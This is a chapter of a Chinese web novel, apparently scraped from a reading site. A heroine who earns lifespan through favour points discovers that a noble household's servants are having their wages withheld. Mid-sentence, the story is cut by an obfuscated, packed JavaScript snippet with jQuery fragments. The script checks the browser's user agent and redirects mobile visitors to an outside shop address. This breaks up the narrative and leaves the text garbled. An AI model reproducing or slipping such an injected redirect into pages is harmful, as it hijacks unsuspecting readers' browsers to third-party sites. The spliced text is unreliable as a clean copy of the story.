年关将至,冬日第一场大雪覆盖了燕京,弄焕拎着一提油纸包,踩着雪化后湿漉漉的石板路,嘴里念念有词往御北侯府去。
“你们那规则该改改了,扶摔跤大爷加一点生命值,帮衙役拦小偷加一点生命值,怎么给小丫讲题也只加一点生命值?”
[那有什么办法,人家只加一点好感值,当然也只能兑换一点生命值。]
“书院里小丫最崇拜我,怎么可能只加一点好感值?你们真的没有暗箱操作?”
弄焕不服,弄焕质疑。
系统:[小丫又不是有缘人,每次加一点够可以了。能给你多加的人又不是没有,是你自己不和人家接触,怪得了谁。]
弄焕半晌没应声。
系统:[你看你又装死不回话。]
“是三喜。”
拐进侯府侧门小巷,弄焕远远看见角门外拉扯的母子俩,“这不是小三喜吗,怎么在这儿哭上了。”
三喜循声抬头:“焕儿姐姐!”
四五岁的孩童犟起来最是难按,三喜挣脱娘亲冲过来抱住弄焕的腿,弄焕抱起他:“怎么啦这是,和娘亲吵架了?”
三喜委屈巴巴,鼻尖还挂着鼻涕泡,瞧着可怜极了:“我想放爆竹,娘不给钱,我只能看别人玩,可是娘还打我,好疼。”
三喜娘赶紧道:“弄焕姑娘,你听这小子瞎说,我哪儿就用力了?”
弄焕失笑,将手里几个纸包递给三喜娘:“三喜别哭啦,看姐姐买了什么好东西。”
示意三喜娘将上面一封纸包揭开:“有糖葫芦和糖糕哦,三喜吃了就不许哭了。告诉姐姐,你是不是偷偷跑出来的?”
角门大敞,台阶上留了几个小脚印和一个圆圆的小屁股印,想来是三喜偷跑出来,坐在台阶上看别家小孩玩爆竹。
城西北多是王侯宅邸,锦衣玉食的少爷小姐不会在街巷泼猴似的玩闹,家生子的小孩就没有那么多顾忌,这个时节三五成群的在偏僻的巷子里玩爆竹是常有的事,瞧卢国公府后门那地上,脚印都还乱着。
三喜看着娘亲手里的点心,嘟着嘴点点脑袋,小声为自己辩解了一句:“我就是想出来看放炮,没跑远的。”
“可是三喜不跟娘亲说一声就跑出来,娘亲肯定会担心,娘亲着急三喜也会难过不是?以后不许再偷跑出府了。”弄焕放下三喜,理了理圆圆脑袋上的毡帽,轻轻带他到三喜娘身边。
三喜娘拿着吃食一脸为难:“弄焕姑娘,这怎么能拿你的东西。”
弄焕笑了笑:“不值什么钱,我是吃饱了回来的,就当哄三喜高兴了。”
再三推拒后,三喜娘收下了糖糕和糖葫芦,两人一人一边牵着三喜进了侯府。
[叮!三喜好感值+1]
[生命值+1天,累积寿命:21天]
[叮!三喜娘好感值+1]
[生命值+1天,累积寿命:22天]
弄焕微不可查地叹了声气,好感值增长太慢,生命却如水一样在流逝,日子以这种方式过得入不敷出的,也就她了吧?
送三喜母子到下房,弄焕拎着两个纸包回了华芳院,院里几个仆从正聚在梅树下聊天,弄焕站在房檐下招手:“青罗!”
青罗挥手散了众人跑到她身边,“姑娘你回来了。”
“嗯。”弄焕看了眼四下散开的仆从,随口问:“你们干嘛呢。”
青罗嗫嚅了一下,道:“没什么,说年下的事呢。”
说起来,这还是弄焕到这个世界后正正经经过的第一个年,沉浸在年节气氛里,她丝毫不怀疑青罗的话,便没再细问。
青罗捏了□□焕递给她的纸包:“不是说给我买吃的吗,怎么捏起来像是蜡烛啊?”
弄焕哎呀一声,连道抱歉:“回府碰见三喜娘打三喜,就拿点心哄娃了,抱歉抱歉。这几日侯爷不在府里,我还能出去的,明日再给你买去。”
侯爷离京接老夫人回府,弄焕这几日还算清闲。
虽说顾总管一直就许她清闲,但主子在府里和不在府里是有区别的,亲眼看见侯爷带领一队人马离府,弄焕才有那种把握领导去向、不怕领导随时出现的踏实感。
“姑娘,不用的,你不用给我买,你已经对我很好了。”
“这算什么,我还能对你更好,我是什么身份?我可是顾总管跟前的大红人~”弄焕玩笑地说。
这话从前也说过,每次弄焕说自己是大红人都能逗大家乐呵一笑,毕竟顾总管对弄焕多好府里人都清楚。
可今日青罗却有些不同,不像往常那样欢快地笑了,咬了咬嘴唇,脸色涨得通红,眼神飘忽地看她。
弄焕察觉到不对劲:“青罗,你怎么了?”
小丫头像下了天大的决心,扑通跪在她面前:“姑娘,你、你能不能帮帮我们?”
弄焕吓得后退好几步,直到青罗说话才反应过来,快步上前扶起她:“有什么话起来再说,你别这样,我受不起。”
搀着青罗坐下,弄焕倒了杯水放到小姑娘面前,等她的心情平复下来。
青罗捧着茶杯哽咽:“我们实在没有法子了,不知道能求谁,只能求姑娘你了。”
弄焕点点头:“嗯,你别急,慢慢说。”
青罗抹了抹泪,从头道出事情的缘由。
当年,御北侯东南海战一战成名,得封大将军,入主将军府,侯爷没有妻室,便该由老夫人主持家中一应事务。但老人家在外奔波多年,早已没有精力管理府中琐事,加上老太太又爱去各地的寺院烧香拜佛,将军府中的内务便都交托给了顾总管。
只一样,进府时,府中的财务是交给了韦韧韦管家的。
弄焕奇怪,韦管家大多时候跟着侯爷在外奔波,哪儿来的时间去管府中开销?
“这就是我要说的了。”
青罗道:“据说当年封家还在外时,财产这块就是韦管家在打理,后来韦管家常和侯爷出入军营,忙不过来,便找了信得过的人替他打理些小事,仆从丫鬟的月钱便是那人在分发。一开始他做得很好,每笔钱都算得仔细从不出错,韦管家也放心地将账房旁的杂事都交给了他,从这时起,那人的野心就渐渐暴露了。起初只是克扣杂役的月钱,后来是门房、丫鬟、小厮,他在韦管家面前很说得上话,韦管家冷着一张脸,又时常维护他,大伙儿便都敢怒不敢言了。”
“后来侯爷北上战场,那人不知怎的跟着韦管家一起去了,府里的财务交给了顾总管打理,大伙儿的月钱才又一点不差地发放。可谁知,那人这次回来后竟又变本加厉了!如今已是年下,听他们说往年这时的月钱是会多给一些的,可今年给的还不及节庆时多,更别说那些补贴赏赐了。年下用钱的地方本就不少,三喜娘要攒钱给老家患病的老母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654148|187465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
送去,自然没钱给三喜买鞭炮,我姐姐年后说亲,我想给她凑份嫁妆钱都有心无力,当日我能进府,都靠姐姐花钱打点的。”
“大家都没法子了,方才聚在一起就是说这事。老夫人长日在外,府里除了侯爷便是顾总管和韦管家了,姑娘,求你帮我们向顾总管说说情吧!”
说着,青罗竟要再次下跪。
弄焕眼疾手快拉起她:“再跪就不帮你了。”
青罗脸上还挂着泪,闻言愣住了:“姑娘,你愿意帮我们?”
“你说的情况我都了解了。”
弄焕没想到,偌大一个侯府,竟然还能出这档子事。
她从被顾总管带进府做管事起,哪怕财务又交回韦管家,月钱都是顾总管给的,也是这会儿才知道这事。
“如果那人果真这样胆大妄为,我会求顾总管还你们一个公道。但这件事先不要声张,说出去总归是对侯府不好。”
或许还会影响顾总管和韦管家的关系,这话就不必对外说了。
小丫头没什么主见,进府头一年就遇上这事,天塌了一般,自己也快熬不住了。也是今日一众人都来求,她才鼓足勇气和弄焕说了难事,这下弄焕姑娘说会帮忙,青罗心里有了希望,哭得比方才还厉害了。
弄焕看得心里不是滋味,青罗在自己身边算是比其他丫鬟过得好了,如今都是这样的情况,不知道其他人又是什么光景。
晚些时候,弄焕去了一趟三喜家住的下房院子,孩子小已经睡下,三喜爹在前门做事还没回,三喜娘见弄焕来了热情地将人迎了进去。
“这么晚了还来打扰,怪不好意思的。”弄焕挽着三喜娘的胳膊进了屋。
“哪儿的话。”三喜娘引她坐下:“原还打算明日去找你呢,他爹回来知道拿了你的东西,气得说了我们娘儿俩几句,年下日子紧,说我们不该这样。我寻思他爹说得对,这不,钱都备好了,正巧你来了。”说着从床头一方小柜子里掏出几枚铜板。
弄焕一听这话就知道青罗所言八九不离十了,估摸着他们以为自己也被克扣了月钱。
弄焕哪儿需要这钱:“别,钱您自己收着。青罗说了你们被克扣月钱的事,让我帮着在顾总管面前说说话,我来是想再细问一下,这事已经到哪种地步了?”
弄焕道明来意,三喜娘虽不像青罗那么大反应,但颇为义愤填膺。
三喜娘不伺候内院,但进进出出也识得府里许多下人,细说下来,比青罗这个进府几月的内院小丫鬟知道的还多。
月上中天,弄焕回到小院子,还是一脸不敢相信。
系统:[六十两银子很多吗?]
“当然多了,寻常农家一日能挣得十文钱就不错了,六十两,够一家老小许多年的开销了。”
这还只是三喜娘总结了大伙儿的说辞合计的,那些没问到的、自个儿也算不清的,就不知道被克扣多少了,总不会比这个数少就是了。
[这是一个好机会,你可以攒不少好感值。]
“没错。”
解决了月钱问题,至少可以加月余寿命,弄焕自然不会放过这个机会。
但她高兴不起来。
一是为大家遭了无妄之灾,二是,那人能瞒住侯爷、顾总管、韦管家克扣如此多钱财,想来不是个好应对的,这是一场硬仗。
明日她要先见见这个账房。